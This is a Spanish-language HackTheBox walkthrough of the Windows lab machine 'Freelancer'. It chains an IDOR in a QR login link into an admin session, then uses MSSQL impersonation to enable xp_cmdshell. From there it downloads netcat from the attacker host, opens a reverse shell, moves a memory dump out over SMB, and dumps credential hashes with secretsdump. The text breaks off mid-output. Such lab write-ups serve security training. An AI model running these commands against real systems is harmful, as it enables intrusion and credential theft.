Freelancer – HackTheBox Link to heading
- OS: Windows
- Dificultad: Hard/Difícil
- Plataforma: HackTheBox
Resumen Link to heading
“Freelancer” es una máquina de dificultad Difícil de la plataforma HackTheBox
. Luego de escanear puertos abiertos, encontramos que somos capaces de visitar una página web en la cual somos capaces de crear un usuario. PAra loguearnos con esta cuenta, podemos cambiar su contraseña y así bypassear la verificación necesaria por administradores para usar ésta. Ya dentro, somos capaces de encontrar una vulnerabilidad IDOR
en un link de un código QR, lo cual conlleva a ganar acceso a un panel MSSQL
. Somos capaces de ejecutar comandos de sistema en la base de datos y así ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de encontrar credenciales para un usuario el cual tiene acceso a algunos archivos de respaldo. Estos archivos filtran la contraseña para un nuevo usuario. Revisando qué permisos tiene este último usuario con BloodHound
, encontramos que éste puede performar un ataque Resource-based Constrained Delegation
. Con este ataque somos capaces de extraer el ticket Kerberos del usuario Administrator y ganar control total del sistema.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
muestra múltiples puertos abiertos: 53
Domain Name System
(DNS
), 80
HTTP
, 88
Kerberos
, 135
Microsoft RPC
, 389
Lightweight Directory Access Protocol
(LDAP
), 445
Server Message Block
(SMB
), 5985
Windows Remote Management
(WinRM
); entre muchos otros.
❯ sudo nmap -sVC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49671,49672,49675,55136,55140,55297 10.10.11.5 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 21:34 -04
Nmap scan report for 10.10.11.5
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http nginx 1.25.5
|_http-title: Did not follow redirect to http://freelancer.htb/
|_http-server-header: nginx/1.25.5
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-10 06:34:02Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49675/tcp open msrpc Microsoft Windows RPC
55136/tcp open msrpc Microsoft Windows RPC
55140/tcp open msrpc Microsoft Windows RPC
55297/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.10.11.5\SQLEXPRESS:
| Instance name: SQLEXPRESS
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
| TCP port: 55297
| Named pipe: \\10.10.11.5\pipe\MSSQL$SQLEXPRESS\sql\query
|_ Clustered: false
| ms-sql-ntlm-info:
| 10.10.11.5\SQLEXPRESS:
| Target_Name: FREELANCER
| NetBIOS_Domain_Name: FREELANCER
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: freelancer.htb
| DNS_Computer_Name: DC.freelancer.htb
| DNS_Tree_Name: freelancer.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-06-07T16:05:35
|_Not valid after: 2054-06-07T16:05:35
|_ssl-date: 2024-06-10T06:35:12+00:00; +4h59m43s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-06-10T06:35:04
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 4h59m42s, deviation: 0s, median: 4h59m42s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.18 seconds
Como se puede ver del escaneo para el puerto 80
HTTP
, somos redirigidos al dominio http://freelancer.htb
. De manera que agrego este nuevo dominio a mi archivo /etc/hosts
:
❯ echo '10.10.11.5 freelancer.htb' | sudo tee -a /etc/hosts
Una vez agregado, visitamos http://freelancer.htb
y podemos ver el siguiente sitio web:
Noto que en la parte superior derecha del sitio web nos podemos registrar como Freelancer
o Employee
. Intentando crear una cuenta como Employee
en esta página redirige a http://freelancer.htb/employer/register
:
Me creo una cuenta de empleado. Noto que la contraseña no puede ser la misma que el usuario y, además, ésta debe cumplir algunos requisitos (como tener números, símbolos, etc). También recomiendo fuertemente recordar las respuestas a las “preguntas personales” tales como “el nombre de tu mascota” y otras (puede que las necesitemos luego…). Una vez creada la cuenta, el sitio nos redirige a http://freelancer.htb/accounts/login
:
Pero cuando intentamos loguearnos con la cuenta creada, tenemos un error:
Es necesario un permiso antes de poder usar la cuenta creada.
Ya en este punto podemos tratar de “recuperar” nuestra cuenta. Podemos clickear en Forgot your password?
y esta opción redirige a http://freelancer.htb/accounts/recovery/
:
Ahora simplemente agregamos nuestras “respuestas secretas” a las preguntas que hicimos al crear la cuenta y somos capaces de reiniciar nuestra contraseña:
Hecho esto, ahora somos capaces de loguearnos con la cuenta con contraseña reiniciada en el panel de login. Ya dentro, podemos ver:
Del lado izquierdo podemos ver la opción QR Code
. Si clickeamos en éste podemos ver:
Busco en Google por qr reader online
y éste me lleva a esta página. Me descargo el código QR en mi máquina y lo subo a la página web (haciendo click en el ícono de una cámara). Una vez subido, tenemos algo como:
Obtengo un link:
http://freelancer.htb/accounts/login/otp/MTAwMTA=/1886888efac3a20ac0f5b39870424739/
Algo importante a mencionar, tal cual la página web dice, es que el link del código QR generado sólo dura alrededor de unos 5 minutos. De manera que éste puede cambiar.
Si vemos a dónde nos lleva el link del código QR, éste nos lleva de vuelta a nuestro perfil de cuenta en el panel. No obstante, éste no preguntó por contraseña alguna:
También somos capaces de crear trabajos/jobs. Me creo un simple trabajo llamado Pentester
. Una vez creado este trabajo, si revisamos qué es lo que tenemos al crearlo, podemos ver la página web:
Noto que este nuevto trabajo/“job” es http://freelancer.htb/job/details/?job_id=13
. Si cambiamos job_id=13
a job_id=12
podemos ver otros trabajos:
Pero más allá de otros trabajos no logro ver nada interesante.
Si revisamos algunos strings que contenía el link del código QR como MTAwMTA=
, aparentemente éste se encuentra encodeado en base64
:
❯ echo 'MTAwMTA=' | base64 -d
10010
Ahora bien, de vuelta al generador de código QR (y luego de generar un par de nuevos códigos), éste parece seguir un patrón:
http://freelancer.htb/accounts/login/otp/<string>=<generated code>
Quizás <string>
, el cual estaba encodeado en base64
, es algo así como un parámetro ID
y <generated code>
es un código temporal el cual cambia cada ~5 minutos. Asumiendo que existe un usuario administrador
, a éste le debería de corresponder ID = 1
. Si paso el string 1
y lo encodeo en base64
tenemos:
❯ echo -n '1' | base64
MQ==
De manera que hago lo siguiente:
- Genero un nuevo código QR.
- Reemplazo, en el código QR, el campo
<string>
porMQ=
en el código recién generado.
Al hacer esto y visitar el link obtengo una respuesta 500 Internal Server Error
.
No obstante, si uso como <string>
(o id
) el número 2
, esto funciona. Por ejemplo, basados en nuestro código QR generado previamente, éste será:
http://freelancer.htb/accounts/login/otp/Mg==/1886888efac3a20ac0f5b39870424739/
donde
❯ echo -n '2' | base64
Mg==
Es decir, Mg==
es simplemente 2
encodeado en base64
y ese string lo reemplazamos por MTAwMTA=
en el código original.
Una vez hecho, y visitando el link, obtengo un sesión como admin
:
Pero este panel parece totalmente idéntico al que accedimos cuando creamos nuestro usuario empleado. Decido buscar por directorios a través de un Brute Force Directory Listing
con ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -c -u http://freelancer.htb/FUZZ -t 55
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://freelancer.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 55
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
about [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 303ms]
contact [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 2141ms]
admin [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 694ms]
Y nos muestra /admin
. Si me abro una pestaña aparte en el navegador de internet y visito http://freelancer.htb/admin/login/?next=/admin/
éste nos muestra un panel de login:
Pero si, desde la misma ventana en la cual estamos logueados en en panel como admin
, usamos la sesión de este usuario para visitar /admin
ahora podemos ver:
Si clickeo en SQL Terminal
y scrolleo hacia abajo, ahora puedo ver una terminal. Dado que este es un panel SQL
y estamos ante una máquina Windows
, asumo que el servicio corriendo es MSSQL
. Yendo a HackTricks podemos empezar a realizar algunas enumeraciones. Por ejemplo, podemos enumerar usuarios en la base de datos corriendo:
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
lo cual retorna:
Pero si intento ejecutar comandos a nivel de sistema, como whoami
:
EXEC master..xp_cmdshell 'whoami'
Obtenemos un error:
Esto básicamente dice que no tenemos permisos para ejecutar comandos a nivel de sistema.
Usando otro oneliner de HackTricks intentando habilitar nuestro usuario para correr comandos:
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Obtenemos un error similar al mostrado en la imagen anterior.
Al enumerar, vimos que teníamos 2 usuarios disponibles en la base de datos: Freelancer_webapp_user
y sa
. Reviso con cuál usuarios nos encontramos logueado:
SELECT user_name();
Obteniendo:
Nos encontramos logueados como el usuario Freelancer_webapp_user
.
Siguiendo de nuevo consejos de HackTricks, podríamos tratar de pasar a ejecutar comandos en la base de datos como (Freelancer_webapp_user
) a ejecutarlos como el usuario sysadmin
(sa
). Si reviso los dueños de las bases de datos:
SELECT suser_sname(owner_sid) FROM sys.databases
Tenemos que el usuario sa
es el dueño de todas las bases de datos.
Si ejecuto si este usuario tiene el rol sysadmin
:
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
Puedo ver que la respuesta es 1
; si corro este comando sin EXECUTE AS
obtengo 0
. En MSSQL
, cuando obtenemos 1
esto significa True
(es decir, sa
sí tiene el rol sysadmin
), 0
significa que no es miembro. Dado que obtuvimos 1
, esto quiere decir que podemos ejecutar comandos como sysadmin
impersonando al usuario sa
.
Podemos, además, tratar de agregar a nuestro usuario Freelancer_webapp_user
al rol sysadmin
impersonando al usuario sa
. Para lograr esto ejecutamos:
EXECUTE AS LOGIN = 'sa'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'
y luego ejecutamos:
SELECT IS_SRVROLEMEMBER('sysadmin')
Esto significa que ahora nuestro usuario Freelancer_webapp_user
sí tiene el rol sysadmin
.
Ahora, vuelvo a correr el comando para habilitar xp_cmdshell
(para ejecutar comandos a nivel de sistema):
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Y funciona, dado que éste ahora no retorna error alguno.
Si ahora ejecuto:
EXEC master..xp_cmdshell 'whoami'
Obtenemos:
Finalmente, trataré de enviarme a mí mismo un ping
. Para ello, en mi máquina de atacante, empiezo un listener con tcpdump
por trazas ICMP
:
❯ sudo tcpdump -ni tun0 icmp
y en la terminal MSSQL
me envío un ping
:
EXEC master..xp_cmdshell 'ping -n 1 10.10.16.9'
donde 10.10.16.9
es mi IP de atacante.
En mi listener recibo algo:
❯ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:06:34.476998 IP 10.10.11.5 > 10.10.16.9: ICMP echo request, id 1, seq 90, length 40
19:06:34.477022 IP 10.10.16.9 > 10.10.11.5: ICMP echo reply, id 1, seq 90, length 40
Así, somos capaces de ejecutar comandos remotamente en la máquina víctima.
Luego, voy a la página web de Reverse Shell Generator
(https://www.revshells.com/), selecciono un payload PowerShell #3 (Base64)
, lo relleno con mi IP de atacante y puerto en escucha 443
. En mi máquina de atacante empiezo un listener con netcat
junto con rlwrap
en el puerto 443
:
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
Luego de intentar algunas cosas, una de las que funciona es usar wget
dentro de Powershell
(dado que certutil
, otra herramienta para descargar archivos desde una CMD, estaba bloqueada). Empiezo un server HTTP
Python
exponiendo un binario de netcat
para Windows
:
❯ python3 -m http.server 8000
Y descargo el archivo expuesto corriendo en la consola MSSQL
:
EXEC master..xp_cmdshell 'powershell -command "wget http://10.10.16.9:8000/nc64.exe -Outfile C:\Users\Public\Downloads\nc.exe"'
y nos enviamos la reverse shell ejecutando:
EXEC master..xp_cmdshell 'C:\Users\Public\Downloads\nc.exe 10.10.16.9 443 -e C:\Windows\System32\cmd.exe'
Donde puedo obtener una shell como el usuario sql_svc
:
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.5] 57180
Microsoft Windows [Version 10.0.17763.5830]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
freelancer\sql_svc
Ya dentro, yendo al directorio C:\Users\sql_svc
y usando el comando tree
podemos ver algunos archivos:
C:\Users\Public\Downloads>cd C:\Users\sql_svc
cd C:\Users\sql_svc
C:\Users\sql_svc>tree .
tree .
Folder PATH listing
Volume serial number is 8954-28AE
C:\USERS\SQL_SVC
3D Objects
Contacts
Desktop
Documents
Downloads
SQLEXPR-2019_x64_ENU
1033_ENU_LP
x64
1033
Setup
x64
redist
VisualStudioShell
VCRuntimes
resources
1033
x64
Setup
Favorites
Links
Music
Pictures
Saved Games
Searches
Videos
Donde puedo ver un directorio llamado SQLEXPR-2019_x64_ENU
. Yendo a C:\Users\svc_sql\Downloads
y revisando todos los archivos muestra:
C:\Users\sql_svc\Downloads>dir /S /A
dir /S /A
Volume in drive C has no label.
Volume Serial Number is 8954-28AE
Directory of C:\Users\sql_svc\Downloads
05/27/2024 01:53 PM <DIR> .
05/27/2024 01:53 PM <DIR> ..
05/27/2024 01:51 PM 282 desktop.ini
05/27/2024 01:52 PM <DIR> SQLEXPR-2019_x64_ENU
1 File(s) 282 bytes
Directory of C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU
05/27/2024 01:52 PM <DIR> .
05/27/2024 01:52 PM <DIR> ..
05/27/2024 01:52 PM <DIR> 1033_ENU_LP
09/24/2019 09:00 PM 45 AUTORUN.INF
09/24/2019 09:00 PM 784 MEDIAINFO.XML
09/29/2023 04:49 AM 16 PackageId.dat
05/27/2024 01:52 PM <DIR> redist
05/27/2024 01:52 PM <DIR> resources
09/24/2019 09:00 PM 142,944 SETUP.EXE
09/24/2019 09:00 PM 486 SETUP.EXE.CONFIG
05/27/2024 04:58 PM 724 sql-Configuration.INI
09/24/2019 09:00 PM 249,448 SQLSETUPBOOTSTRAPPER.DLL
05/27/2024 01:52 PM <DIR> x64
7 File(s) 394,447 bytes
Directory of C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\1033_ENU_LP
05/27/2024 01:52 PM <DIR> .
05/27/2024 01:52 PM <DIR> ..
09/24/2019 09:35 PM 203 MEDIAINFO.XML
<SNIP>
Luego de revisar algunos de ellos, el archivo C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\sql-Configuration.INI
muestra algo:
C:\Users\sql_svc\Downloads>type C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\sql-Configuration.INI
type C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="FREELANCER\sql_svc"
SQLSVCPASSWORD="IL0v3ErenY3ager"
SQLSYSADMINACCOUNTS="FREELANCER\Administrator"
SECURITYMODE="SQL"
SAPWD="t3mp0r@ryS@PWD"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
Podemos ver 2 contraseñas: IL0v3ErenY3ager
y t3mp0r@ryS@PWD
. Guardo ambas en un archivo llamado found_passwd.txt
en mi máquina de atacante.
Además, reviso si tenemos más usuarios en esta máquina; y tenemos bastantes:
C:\Users\sql_svc\Downloads>net user
net user
User accounts for \\DC
-------------------------------------------------------------------------------
Administrator alex.hill carol.poland
d.jones dthomas ereed
Ethan.l evelyn.adams Guest
hking jen.brown jgreen
jmartinez krbtgt leon.sk
lkazanof lorra199 maya.artmes
michael.williams mikasaAckerman olivia.garcia
samuel.turner sdavis sophia.h
sql_svc SQLBackupOperator sshd
taylor wwalker
The command completed successfully.
Guardo todos los potenciales usuarios en un archivo llamado users.txt
.
Dado que el servicio SMB
estaba expuesto, usaré NetExec
para revisar si encontramos credenciales válidas:
❯ netexec smb 10.10.11.5 -u users.txt -p found_passwd.txt --continue-on-success
SMB 10.10.11.5 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.5 445 DC [-] freelancer.htb\Administrator:IL0v3ErenY3ager STATUS_LOGON_FAILURE
SMB 10.10.11.5 445 DC [-] freelancer.htb\alex.hill:IL0v3ErenY3ager STATUS_LOGON_FAILURE
SMB 10.10.11.5 445 DC [-] freelancer.htb\carol.poland:IL0v3ErenY3ager STATUS_LOGON_FAILURE
<SNIP>
SMB 10.10.11.5 445 DC [-] freelancer.htb\michael.williams:IL0v3ErenY3ager STATUS_LOGON_FAILURE
SMB 10.10.11.5 445 DC [+] freelancer.htb\mikasaAckerman:IL0v3ErenY3ager
SMB 10.10.11.5 445 DC [-] freelancer.htb\olivia.garcia:IL0v3ErenY3ager STATUS_LOGON_FAILURE
<SNIP>
SMB 10.10.11.5 445 DC [-] freelancer.htb\taylor:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE
SMB 10.10.11.5 445 DC [-] freelancer.htb\wwalker:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE
Una de las credenciales funciona: mikasaAckerman:IL0v3ErenY3ager
.
No obstante, desde la shell con el usuario sql_svc
noto que el usuario mikasaAckerman
no se puede conectar por medio del servicio WinRM
(que estaba corriendo en la máquina víctima) dado que no es un miembro del grupo Remote Management Users
:
C:\Users\sql_svc\Downloads>net localgroup "Remote Management Users"
net localgroup "Remote Management Users"
Alias name Remote Management Users
Comment Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.
Members
-------------------------------------------------------------------------------
dthomas
lkazanof
lorra199
michael.williams
wwalker
The command completed successfully.
Por tanto, usaré a nuestro buen amigo RunasCs
(el cual puede ser descargado desde su repositorio de Github) para pivotear internamente al usuario mikasaAckerman
. Para esto paso el binario de RunasCs
de manera similar a como pasamos el binario de netcat
, empezamos un nuevo listener con netcat
en nuestra máquina de atacante y ejecutamos RunasCs
en la máquina víctima:
C:\Users\sql_svc\Downloads>powershell -command "wget http://10.10.16.9:8000/RunasCs.exe -Outfile C:\Users\Public\Downloads\runascs.exe"
powershell -command "wget http://10.10.16.9:8000/RunasCs.exe -Outfile C:\Users\Public\Downloads\runascs.exe"
C:\Users\Public\Downloads\runascs.exe mikasaAckerman IL0v3ErenY3ager cmd.exe -r 10.10.16.9:443 -t 10
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-49493$\Default
[+] Async process 'C:\WINDOWS\system32\cmd.exe' with pid 2396 created in background.
En mi listener con nc
obtengo una nueva shell como el usuario mikasaAckerman
.
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.5] 57358
Microsoft Windows [Version 10.0.17763.5830]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
freelancer\mikasaackerman
Podemos obtener la flag de user en el Desktop de mikasaackerman
.
NT Authority / System - Administrador Link to heading
Revisando el directorio Desktop de mikasaackerman
podemos ver un archivo llamado mail.txt
:
C:\Users\mikasaAckerman\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 8954-28AE
Directory of C:\Users\mikasaAckerman\Desktop
05/28/2024 10:22 AM <DIR> .
05/28/2024 10:22 AM <DIR> ..
10/28/2023 06:23 PM 1,468 mail.txt
10/04/2023 01:47 PM 292,692,678 MEMORY.7z
07/11/2024 11:08 PM 34 user.txt
3 File(s) 292,694,180 bytes
2 Dir(s) 2,596,708,352 bytes free
Leyéndolo tenemos:
C:\Users\mikasaAckerman\Desktop>type mail.txt
type mail.txt
Hello Mikasa,
I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occurring after we installed the new update of SQL Server 2019.
I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart.
Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue.
Best regards,
En corto, el mail habla sobre un dump de memoria del sistema. Puede ser una pista sobre qué archivos revisar. Es más, como podemos ver, existe un archivo llamado MEMORY.7z
en el directorio Desktop de mikasaackerman
.
Transferiré este archivo a través del servicio SMB
. Para esto crearé un recurso compartido llamado smb2Folder
a través de SMB
en mi máquina de atacante con credenciales gunzf0x:gunzf0x123$!
:
❯ python3 /usr/share/doc/python3-impacket/examples/smbserver.py smb2Folder $(pwd) -smb2support -username gunzf0x -password 'gunzf0x123$!'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
En la máquina víctima nos conectamos a este recurso compartido:
C:\Users\mikasaAckerman\Desktop>net use \\10.10.16.9\smb2Folder /u:gunzf0x gunzf0x123$!
net use \\10.10.16.9\smb2Folder /u:gunzf0x gunzf0x123$!
The command completed successfully.
Copiamos el archivo a nuestra máquina de atacante:
C:\Users\mikasaAckerman\Desktop>copy .\MEMORY.7z \\10.10.16.9\smb2Folder\
copy .\MEMORY.7z \\10.10.16.9\smb2Folder\
1 file(s) copied.
Y, ya transferido el archivo, borramos la conexión:
C:\Users\mikasaAckerman\Desktop>net use /d \\10.10.16.9\smb2Folder
net use /d \\10.10.16.9\smb2Folder
\\10.10.16.9\smb2Folder was deleted successfully.
Luego, en nuestra máquian de atacante, extraemos el contenido del archivo 7z
:
❯ 7z x MEMORY.7z
Donde ahora tenemos un archivo MEMORY.DMP
. Para extraer los archivos de este archivo .dmp
usamos la herramienta MemProcFS
(la cual puede ser descargada desde su repositorio de Github). Una vez descargado, extraigo todo el contenido del archivo .dmp
y los importo en una montura temporal llamado tmp_mount
:
❯ mkdir tmp_mount
❯ ./memprocfs -device MEMORY.DMP -mount ./tmp_mount
Initialized 64-bit Windows 10.0.17763
============================== MemProcFS ==============================
- Author: Ulf Frisk - pcileech@frizk.net
- Info: https://github.com/ufrisk/MemProcFS
- Discord: https://discord.gg/pcileech
- License: GNU Affero General Public License v3.0
---------------------------------------------------------------------
MemProcFS is free open source software. If you find it useful please
become a sponsor at: https://github.com/sponsors/ufrisk Thank You :)
---------------------------------------------------------------------
- Version: 5.10.0 (Linux)
- Mount Point: ./tmp_mount
- Tag: 17763_a3431de6
- Operating System: Windows 10.0.17763 (X64)
==========================================================================
Una vez que los archivos han sido extraídos (y sin cerrar la terminal corriendo MemProcFS
), vamos al directorio ./tmp_mnount/registry/hive_files
y puedo ver 3 archivos que son interesantes para mí: SYSTEM
, SAM
y SECURITY
❯ cd ./tmp_mount/registry/hive_files
❯ ls -la
total 0
drwxr-xr-x 2 gunzf0x gunzf0x 0 Jul 11 21:07 .
drwxr-xr-x 2 gunzf0x gunzf0x 0 Jul 11 21:07 ..
-rw-r--r-- 1 gunzf0x gunzf0x 8192 Jul 11 21:07 0xffffd30679c0e000-unknown-unknown.reghive
-rw-r--r-- 1 gunzf0x gunzf0x 18440192 Jul 11 21:07 0xffffd30679c46000-SYSTEM-MACHINE_SYSTEM.reghive
-rw-r--r-- 1 gunzf0x gunzf0x 28672 Jul 11 21:07 0xffffd30679cdc000-unknown-MACHINE_HARDWARE.reghive
-rw-r--r-- 1 gunzf0x gunzf0x 8192 Jul 11 21:07 0xffffd3067b257000-settingsdat-A_{c94cb844-4804-8507-e708-439a8873b610}.reghive
-rw-r--r-- 1 gunzf0x gunzf0x 323584 Jul 11 21:07 0xffffd3067b261000-ActivationStoredat-A_{23F7AFEB-1A41-4BD7-9168-EA663F1D9A7D}.reghive
-rw-r--r-- 1 gunzf0x gunzf0x 28672 Jul 11 21:07 0xffffd3067b514000-BCD-MACHINE_BCD00000000.reghive
-rw-r--r-- 1 gunzf0x gunzf0x 90902528 Jul 11 21:07 0xffffd3067b516000-SOFTWARE-MACHINE_SOFTWARE.reghive
-rw-r--r-- 1 gunzf0x gunzf0x 319488 Jul 11 21:07 0xffffd3067d7e9000-DEFAULT-USER_.DEFAULT.reghive
-rw-r--r-- 1 gunzf0x gunzf0x 49152 Jul 11 21:07 0xffffd3067d7f0000-SECURITY-MACHINE_SECURITY.reghive
-rw-r--r-- 1 gunzf0x gunzf0x 49152 Jul 11 21:07 0xffffd3067d935000-SAM-MACHINE_SAM.reghive
<SNIP>
Ahora usamos secretsdump.py
de Impacket
para extraer credenciales credentials/hashes:
❯ python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam 0xffffd3067d935000-SAM-MACHINE_SAM.reghive -system 0xffffd30679c46000-SYSTEM-MACHINE_SYSTEM.reghive -security 0xffffd3067d7f0000-SECURITY-MACHINE_SECURITY.reghive local
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Target system bootKey: 0xaeb5f8f068bbe8789b87bf985e129382
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:725180474a181356e53f4fe3dffac527:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:04fc56dd3ee3165e966ed04ea791d7a7:::
[*] Dumping cached domain logon information (domain/username:hash)
FREELANCER.HTB/Administrator:$DCC2$10240#Administrator#67a0c0f193abd932b55fb8916692c361: (2023-10-04 12:55:34)
FREELANCER.HTB/lorra199:$DCC2$10240#lorra199#7ce808b78e75a5747135cf53dc6ac3b1: (2023-10-04 12:29:00)
FREELANCER.HTB/liza.kazanof:$DCC2$10240#liza.kazanof#ecd6e532224ccad2abcf2369ccb8b679: (2023-10-04 17:31:23)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:a680a4af30e045066419c6f52c073d738241fa9d1cff591b951535cff5320b109e65220c1c9e4fa891c9d1ee22e990c4766b3eb63fb3e2da67ebd19830d45c0ba4e6e6df93180c0a7449750655edd78eb848f757689a6889f3f8f7f6cf53e1196a528a7cd105a2eccefb2a17ae5aebf84902e3266bbc5db6e371627bb0828c2a364cb01119cf3d2c70d920328c814cad07f2b516143d86d0e88ef1504067815ed70e9ccb861f57394d94ba9f77198e9d76ecadf8cdb1afda48b81f81d84ac62530389cb64d412b784f0f733551a62ec0862ac2fb261b43d79990d4e2bfbf4d7d4eeb90ccd7dc9b482028c2143c5a6010
